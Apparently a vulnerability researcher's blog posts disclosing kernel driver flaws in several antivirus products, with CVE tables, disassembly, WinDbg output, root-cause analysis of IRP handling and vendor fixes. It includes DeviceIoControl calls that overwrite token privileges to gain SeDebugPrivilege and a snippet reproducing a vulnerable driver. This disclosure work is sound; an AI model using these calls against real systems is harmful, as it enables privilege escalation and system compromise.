Bugs

Here is a list of the 9 kernel vulnerabilities I discovered over a month ago in an antivirus product called IKARUS anti.virus which has finally been fixed. Most of the vulnerabilities were due to the inputted output buffer address (Irp->UserBuffer) being saved on the stack which is later used without being validated when using as an argument. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8300000c CVE-2017-14961 Arbitrary Write
0x83000058 CVE-2017-14962 Out of Bounds Write
0x83000058 CVE-2017-14963 Arbitrary Write
0x8300005c CVE-2017-14964 Arbitrary Write
0x830000cc CVE-2017-14965 Arbitrary Write
0x830000c0 CVE-2017-14966 Arbitrary Write
0x83000080 CVE-2017-14967 Arbitrary Write
0x830000c4 CVE-2017-14968 Arbitrary Write
0x83000084 CVE-2017-14969 Arbitrary Write

Fixed version numbers (vendors advisory soon to be released)

Vulnerable version Fixed version
Software 2.16.7 2.16.18
ntguard.sys 0.18780.0.0 0.43.0.0
ntguard_x64.sys 0.18780.0.0 0.43.0.0

I’m exploiting the vulnerable subroutine used by ioctl 0x8300000c by overwriting the _SEP_TOKEN_PRIVILEGES structure where arg_20 is our inputted output buffer address.

In our process _SEP_TOKEN_PRIVILEGES structure I’m overwriting a byte in the “Present” field and a byte in the “Enabled” field with the hardcoded value of 0x11 by calling the vulnerable subroutine twice.

DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH

Last month I started hunting for kernel bugs again and it wasn’t too long before I found a nice collection of bugs in an antivirus product called Vir.IT eXplorer. In total 6 kernel vulnerabilities were discovered. All of the vulnerabilities were due to the inputted buffer not being validated. The below table lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x82730078 CVE-2017-16233 Buffer Overflow
0x82730048 CVE-2017-16234 Denial of Service
0x82730098 CVE-2017-16235 Arbitrary Write
0x82730028 CVE-2017-16236 Denial of Service
0x8273007C CVE-2017-16237 Arbitrary Write
0x82730080 CVE-2017-16238 Arbitrary Write

All of the vulnerabilities were fixed and an updated product released within a day.

  Vulnerable version Fixed version
Software 8.5.39 8.5.42
Viragtlt.sys 1.80.0.0 1.81.0.0
Viraglt64.sys 1.0.0.11 1.0.0.12

I decided to exploit the ioctl 0x8273007C by overwriting the _SEP_TOKEN_PRIVILEGES structure.

Here I am overwriting certain offsets of the _SEP_TOKEN_PRIVILEGES structure with byte 0x11, actually overwriting a byte in the “Present” field and a byte in the “Enabled” field. This will give us the “SeDebugPrivilege” privilege. Once the privilege has been obtained all that needs doing is to inject shellcode into a privileged process. The reason we need two writes as Kyriakos Economou @kyREcon pointed out in Windows 10 (1703) the “Enabled” privileges are checked against “Present” privileges. You can read Kyriakos’s paper here

For this exploit you can overwrite with whatever values/offsets you like to get the desired privileges, I just happened to use value 0x11 in this case knowing it will give me the “SeDebugPrivilege” privilege as I had previously written another exploit which I’m still waiting to publish once that software fix has been released.

The vulnerable code has two XCHG instructions used to overwrite the _SEP_TOKEN_PRIVILEGES structure “Present” and “Enabled” field bytes in one go.

loc_FFFFF88000DE3E79:                                                 
  mov     rbp, [rdi]        ; rdi points to input buffer 
  mov     rsi, cr8          ; rbp holds our SEP address - input[0]          
  mov     ecx, 2
  cmp     sil, cl
  jnb     short loc_FFFFF88000DE3E95
  mov     rax, cr8
  mov     cr8, rcx
  mov     sil, al
loc_FFFFF88000DE3E95:                                                 
  call    sub_FFFFF88000DEC128                          
  mov     rcx, [rdi+8]       ; rcx holds "Present" bytes - input[1]
  xchg    rcx, [rbp+0]       ; Overwriting "Present" bytes
  mov     rdx, [rdi+10h]     ; rdx holds "Enabled" bytes - input[2] 
  xchg    rdx, [rbp+8]       ; Overwriting "Enabled" bytes

Looking at our _SEP_TOKEN_PRIVILEGES structure in WinDbg

kd> !process 0 0 cve-2017-16237.exe
PROCESS fffffa8032939600
    SessionId: 1  Cid: 05bc    Peb: 7fffffd6000  ParentCid: 0644
    DirBase: 32c17000  ObjectTable: fffff8a001d4a580  HandleCount:  13.
    Image: cve-2017-16237.exe

kd> !process fffffa8032939600 1
PROCESS fffffa8032939600
    SessionId: 1  Cid: 05bc    Peb: 7fffffd6000  ParentCid: 0644
    DirBase: 32c17000  ObjectTable: fffff8a001d4a580  HandleCount:  13.
    Image: cve-2017-16237.exe
    VadRoot fffffa80323a91b0 Vads 27 Clone 0 Private 2014. Modified 0. Locked 0.
    DeviceMap fffff8a003a77760
    Token                             fffff8a0031a8060
    ElapsedTime                       00:00:00.686
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (2362, 50, 345) (9448KB, 200KB, 1380KB)
    PeakWorkingSetSize                2362
    VirtualSize                       16 Mb
    PeakVirtualSize                   16 Mb
    PageFaultCount                    2359
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      2089

kd> dt nt!_TOKEN fffff8a0031a8060
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0xfffffa80`31e23d40 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x074 SessionId        : 1
   +0x078 UserAndGroupCount : 0xf
   +0x07c RestrictedSidCount : 0
   +0x080 VariableLength   : 0x2c0
   +0x084 DynamicCharged   : 0x400
   +0x088 DynamicAvailable : 0
   +0x08c DefaultOwnerIndex : 0
   +0x090 UserAndGroups    : 0xfffff8a0`031a8370 _SID_AND_ATTRIBUTES
   +0x098 RestrictedSids   : (null) 
   +0x0a0 PrimaryGroup     : 0xfffff8a0`03202830 Void
   +0x0a8 DynamicPart      : 0xfffff8a0`03202830  -> 0x501
   +0x0b0 DefaultDacl      : 0xfffff8a0`0320284c _ACL
   +0x0b8 TokenType        : 1 ( TokenPrimary )
   +0x0bc ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0c0 TokenFlags       : 0x2a00
   +0x0c4 TokenInUse       : 0x1 ''
   +0x0c8 IntegrityLevelIndex : 0xe
   +0x0cc MandatoryPolicy  : 3
   +0x0d0 LogonSession     : 0xfffff8a0`03b398a0 _SEP_LOGON_SESSION_REFERENCES
   +0x0d8 OriginatingLogonSession : _LUID
   +0x0e0 SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x1f0 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x300 pSecurityAttributes : 0xfffff8a0`0328df10 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x308 SessionObject    : 0xfffffa80`320f83e0 Void
   +0x310 VariablePart     : 0xfffff8a0`031a8460

Before overwriting the bytes it will look like

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40
   +0x000 Present          : 0x6`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x800000

kd> db fffff8a0031a8060+40 l18
fffff8a0`031a80a0  00 00 88 02 06 00 00 00-00 00 80 00 00 00 00 00  ................
fffff8a0`031a80b0  00 00 80 00 00 00 00 00                          ........

and afterwards

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40
   +0x000 Present          : 0x6`02110000
   +0x008 Enabled          : 0x110000
   +0x010 EnabledByDefault : 0x800000

kd> db fffff8a0031a8060+40 l18
fffff8a0`02b08a70  00 00 11 02 06 00 00 00-00 00 11 00 00 00 00 00  ................
fffff8a0`02b08a80  00 00 80 00 00 00 00 00                          ........

Checking the privileges

kd> !token fffff8a0031a8060
_TOKEN fffff8a0031a8060
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1000
Groups: 
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-544
    Attributes - DenyOnly 
 04 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-118426
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
Privs: 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - 
 34 0x000000022 SeTimeZonePrivilege               Attributes - 
Authentication ID:         (0,1d038)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: e8a62            ParentToken ID: 1d03b
Modified ID:               (0, e8571)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

The exploit is written only to work from a medium integrity process as I’m using the NtQuerySystemInformation(SystemHandleInformation) API to leak the address of the process token. It has been tested on 64bit Windows 7 and Windows 10 (1709).

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH

Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks.  Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems.

This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems.

The vulnerability
The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of the DeviceIOControl function.

DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);

In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck.

Debugger Output
In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest

kd> !analyze -v
***************************************************************************
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *
***************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: f4f5f6f7, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------


Could not read faulting driver name

WRITE_ADDRESS:  f4f5f6f7 

FAULTING_IP: 
nt!IopCompleteRequest+92
804ec09b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

MM_INTERNAL_CODE:  0

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  DRIVER_FAULT

BUGCHECK_STR:  0x50

PROCESS_NAME:  dos_greyhat.exe

IRP_ADDRESS:  86593dd8

DEVICE_OBJECT: 866e10f0

LAST_CONTROL_TRANSFER:  from 804ec11a to 804ec09b

STACK_TEXT:  
f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92
f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3
f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31
f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43
f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b
f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8
WARNING: Stack unwind information not available. Following frames may be wrong.
f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562
f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31
f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70
f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall
0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514


STACK_COMMAND:  kb

FOLLOWUP_IP: 
ghhpoc+562
f7e99562 ??              ???

SYMBOL_STACK_INDEX:  6

SYMBOL_NAME:  ghhpoc+562

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: ghhpoc

IMAGE_NAME:  ghhpoc.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  54b18dfe

FAILURE_BUCKET_ID:  0x50_ghhpoc+562

BUCKET_ID:  0x50_ghhpoc+562

Followup: MachineOwner
---------


kd> r
eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7
eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
nt!IopCompleteRequest+0x92:
804ec09b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

Vulnerable Driver Analysis
Reverse engineering the driver the bugcheck is triggered after the call of the function IofCompleteRequest.

The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers.

Comparing IRP data
Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030

In Windows XP ebx contains pointer to IRP

kd> dt nt!_irp @ebx
   +0x000 Type             : 6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x70
   +0x00c AssociatedIrp    : __unnamed
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 1 ''
   +0x023 CurrentLocation  : 3 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0xc ''
   +0x028 UserIosb         : 0x0012fe18 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null) 
   +0x030 Overlay          : __unnamed
   +0x038 CancelRoutine    : (null) 
   +0x03c UserBuffer       : 0xf4f5f6f7 
   +0x040 Tail             : __unnamed

In Windows 7 esi contains pointer to IRP

kd> dt nt!_irp @esi
   +0x000 Type             : 6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x60030
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 1 ''
   +0x023 CurrentLocation  : 3 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0x6 ''
   +0x028 UserIosb         : 0x0023f7b8 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null) 
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : (null) 
   +0x03c UserBuffer       : 0xf4f5f6f7 
   +0x040 Tail             : <unnamed-tag>

IoCompleteRequest Analysis
The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck.

On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy.

The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value.

IopXxxControlFile Analysis
“So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP.

In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7.

Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available.

On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability.

What do these flags values mean?
So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions:

#define IRP_BUFFERED_IO                 0x00000010
#define IRP_DEALLOCATE_BUFFER           0x00000020
#define IRP_INPUT_OPERATION             0x00000040

The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h
Converting into code it will look something like this

// Windows XP
Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER;  
Irp->UserBuffer = pBufferOut;                          
if (pBufferOut) 
  Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;
// Windows 7
Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER;  
Irp->UserBuffer = pBufferOut;                          
if (iBufferOutSize) 
  Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;

When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this

if (Irp->Flags & IRP_BUFFERED_IO)                                   
{                                                                  
  if ((Irp->Flags & IRP_INPUT_OPERATION) 
     &&  (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED)
     && !(NT_ERROR(Irp->IoStatus.Status)))
  {
       RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); 
  }
}

Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump.

Conditions of a Vulnerable Driver
During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field.

The following range values indicate error and warning status codes:

  NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors
  NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings

In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status.

So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0.

To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place.

Irp->IoStatus.Information = 4;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this

CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function.

Fixing a Vulnerable Driver
Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was

to check if the output buffer address was in the user space

if (Irp->UserBuffer > MmHighestUserAddress)
{
    ntStatus = STATUS_INVALID_PARAMETER;
}

Another approach was to check the size of the output buffer

if (iBufferOutSize < sizeof(ULONG))
{
    ntStatus = STATUS_INVALID_BUFFER_SIZE;
}

Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability.

I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code?

Published Advisories
This table below provides information on the products where this vulnerability had been discovered.

Vendor Product OSVDB CVE ID Days Vendor link
McAfee Data Loss Prevention 117345 CVE-2015-1305 99 Advisory
Trend Micro Antivirus Plus
Internet Security
Maximum Security
115514 CVE-2014-9641 70 Advisory
Symantec Altiris Client 116082 CVE-2014-7286 59 Advisory
AVG Internet Security 113824 CVE-2014-9632 26 Release notes
K7 Computing Ultimate Security
Anti-Virus Plus
Total Security
113007 CVE-2014-9643 22 None
BullGuard Antivirus
Internet Security
Premium Protection
Online Backup
114478 CVE-2014-9642 16 Release notes

Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory.

For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it.

What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too.

Other Vendors
Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc.

  • Agnitum
  • AhnLab
  • Avast
  • Avira
  • BitDefender
  • ClamAV
  • Comodo
  • Emsisoft
  • Eset
  • Fortinet
  • FRISK Software
  • F-Secure
  • G Data
  • Kaspersky Lab
  • Kingsoft
  • Malwarebytes
  • Nano Security
  • Norman
  • Panda Security
  • Sophos
  • TrustPort
  • ThreatTrack Security
  • Webroot
  • Zemana

Other Windows Versions
Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so.

On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release.

There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit.

Final thoughts
One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro.

Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe.

 

I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published.

References
http://msdn.microsoft.com/en-us/library/ff550694(v=VS.85).aspx
http://msdn.microsoft.com/en-gb/library/cc704588.aspx
http://msdn.microsoft.com/en-us/library/ff545693.aspx
http://msdn.microsoft.com/en-us/library/windows/hardware/ff548649(v=vs.85).aspx
http://doxygen.reactos.org/d6/dfc/ntoskrnl_2io_2iomgr_2irp_8c_source.html
http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf  [PDF]
http://www.tutorialspoint.com/assembly_programming/assembly_logical_instructions.htm
http://blogs.msdn.com/b/doronh/archive/2006/12/12/how-to-return-the-number-of-bytes-required-for-a-subsequent-operation.aspx